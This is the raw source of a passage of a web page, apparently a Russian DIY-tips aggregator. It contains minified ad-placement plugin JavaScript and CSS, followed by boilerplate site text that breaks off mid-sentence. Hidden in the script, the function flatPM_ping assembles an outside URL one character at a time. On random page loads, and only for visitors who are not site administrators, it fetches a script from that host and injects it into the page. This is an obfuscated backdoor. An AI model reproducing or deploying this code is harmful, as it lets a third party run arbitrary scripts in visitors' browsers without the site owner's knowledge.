ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0)} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0)} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";function flatPM_sticky(e,l,t){var a=e,d=null,s=t=t||0;function n(){if(null==d){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(d=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(d,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)d.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=d.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+d.getBoundingClientRect().height-l.getBoundingClientRect().bottom);i.top-s<=0?i.top-s<=r?(d.className="flatpm_stop",d.style.top=-r+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)}function flatPM_addDays(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e}function flatPM_adbDetect(){var e=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)}function flatPM_setCookie(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,l=e+"="+(t=encodeURIComponent(t));for(r in n){l+="; "+r;var a=n[r];!0!==a&&(l+="="+a)}document.cookie=l}function flatPM_getCookie(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0}function flatPM_testCookie(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}}function flatPM_grep(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})}function flatPM_random(e,t){return Math.floor(Math.random()*(t-e+1))+e}function flatPM_getAllUrlParams(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),l=r[0],a=void 0===r[1]||r[1],l=l.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),l.match(/\[(\d+)?\]$/)?(t[i=l.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),l.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(l)[1],t[i][r]=a):t[i].push(a)):t[l]?(t[l]&&"string"==typeof t[l]&&(t[l]=[t[l]]),t[l].push(a)):t[l]=a}return t}document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()};</script> <script>var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};function flatPM_ajax(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"flat_pm_block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})}function flatPM_then(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++)flatPM_next(flat_pm_then[e]);0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]}function flatPM_persentWrapper(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r}function flatPM_setWrap(t){try{var e,a,o,r,i,s,f,n,d,_=document.createElement("div");_.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(_),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(_),"3"==t.how.simple.position&&ff(".flat_pm_end").before(_),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(_),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,_))||e.next().is("[data-flat-id]")||e.after(_)),"6"==t.how.simple.position&&(_.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,_),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(_)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,s=t.how.onсe.N,f=t.how.onсe.selector,n=t.how.onсe.direction,d=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(s="bottom_to_top"==n?i.length-s:s-1,"before"==d?ff(flatPM_grep(i,s,1)).before(_):ff(flatPM_grep(i,s,1)).after(_))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,s=t.how.iterable.N,f=t.how.iterable.selector,n=t.how.iterable.direction,d=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==n&&(l=l.get().reverse()),"before"==d?ff(flatPM_grep(i,s,0)).before(_):ff(flatPM_grep(i,s,0)).after(_)))}catch(t){console.warn(t)}}function flatPM_next(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,s,f=0;f<a;f++)("∞"==o.html[f].res_of||o.html[f].res_of<=flat_userVars.winwidth)&&("∞"==o.html[f].res_to||o.html[f].res_to>flat_userVars.winwidth)&&(void 0!==o.html[f].group?flat_userVars.adb?(null==t["group_"+o.html[f].group]&&(t["group_"+o.html[f].group]=[]),t["group_"+o.html[f].group].push(""==o.html[f].snd&&duplicateMode?o.html[f].fst:o.html[f].snd)):(null==t["group_"+o.html[f].group]&&(t["group_"+o.html[f].group]=[]),t["group_"+o.html[f].group].push(o.html[f].fst)):flat_userVars.adb?t.push(""==o.html[f].snd&&duplicateMode?o.html[f].fst:o.html[f].snd):t.push(o.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),h=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},s=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(h.bind(i,function(){h.scrollTop()>o.how.popup.after&&(h.unbind(i),b.unbind(g),s())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){h.unbind(i),b.unbind(g),s()})):(v=setTimeout(function(){b.unbind(g),s()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),s()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",h=ff(window),p="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(h.bind(p,function(){h.scrollTop()>o.how.outgoing.after&&(h.unbind(p),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){h.unbind(p),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),s=new Date(a.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0===flatPM_getCookie(e)||flatPM_getCookie(e)!=t)return!(n=!0)}else if(void 0===flatPM_getCookie(e))return!(n=!0)})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled){if(!flat_userVars.testcook)continue;ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0===flatPM_getAllUrlParams()[e]||flatPM_getAllUrlParams()[e]!=t)return!(d=!0)}else if(void 0===flatPM_getAllUrlParams()[e])return!(d=!0)})}if(void 0!==a.utmget.utmget_disabled&&flat_userVars.testcook&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="flat_pm_block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"function"==typeof flatPM_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),ff("[data-flat-id]:not([data-id-out]):not([data-id-modal])").contents().unwrap(),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");</script> <script>var parseHTML=function(){var d=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,o=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(o.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(d,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}}function flatPM_setHTML(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,d=0;d<l;d++){var o=r.childNodes[d],i="3"==o.nodeType?document.createTextNode(o.nodeValue):document.createElement(o.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=o.attributes.length,p=0;p<s;p++)i.setAttribute(o.attributes[p].nodeName,o.attributes[p].nodeValue);0!=o.children.length?flatPM_setHTML(i,o.innerHTML):"SCRIPT"!=o.nodeName?o.innerHTML&&(i.innerHTML=o.innerHTML):(!o.text||/(yandexContext|yandexcontext|adsbyg)/.test(o.text))&&i.hasAttribute("async")||(o.text&&(i.text=o.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}}</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"1"}},"ID":"2870","html":[{"fst":"<p>На нашем сайте вы сможете ознакомиться с огромным количеством полезных советов и рекомендаций по изготовлению различных предметов и вещей. На нашем сайте размещены материалы, опубликованные в свободном доступе в сети интернет. Наша платформа является агрегатором полезных материалов собранных из открытых источников. У нас на сайте можно найти самые полезные популярные советы по изготовлению различных предметов и вещей, которыми люди делятся в сети интернет и которые доступны в свободном доступе. Экспертные советы помогут вам найти информацию по созданию тех предметов, которые вы давно хотели сделать своими руками но не знали, как это сделать. Эти советы собраны для вас на нашем агрегаторе материалов. Данные советы будут популярны и помогут огромному количеству людей, кто интересуется изготовлением различных вещей предметов своими руками в домашних условиях. Для них наш сайт будет тем самым местом, где они смогут найти советы и рекомендации. Эти советы и рекомендации собраны из огромной сети интернет и доступны в одном месте у нас на сайте.\n<\/p>\n<p>Также на сайте пользователи смогут найти ссылки на первоисточник информации и узнать там более подробную информацию, которую разместил автор первоисточника. Там вы сможете найти более подробные советы либо какие-то дополнительные материалы, которые доступны для привилегированных пользователей сайта первоисточника. После ознакомления и понимания того, что данный материал для вас был полезен, мы рекомендуем заходить на первоисточник информации и читать этот материал на первоисточнике с целью чтобы найти какие-то дополнительные дополнительные советы и рекомендации, которые не были опубликованы нашей автоматической системой на нашем сайте. Таким образом, вы поможете правообладателем контента продвинуть их сайт и получите для себя самую полную информацию по интересующему вас вопросу.\n<\/p>\n<p>Система нашего сайта построена таким образом, что вы можете с легкостью найти любой интересующий вас вопрос, воспользовавшись поиском по сайту. Это позволит вам в максимально короткий срок найти ту информацию, которую вы искали и познакомиться с ней. Мы рады приветствовать вас на нашем сайте и надеемся, что он будет для вас максимально полезен и необходим. Мы собираем различные ответы на вопросы, которые задают пользователи поисковым системам и собираем информацию из открытых источников сети интернет для того, чтобы давать вам ответы на интересующие вас 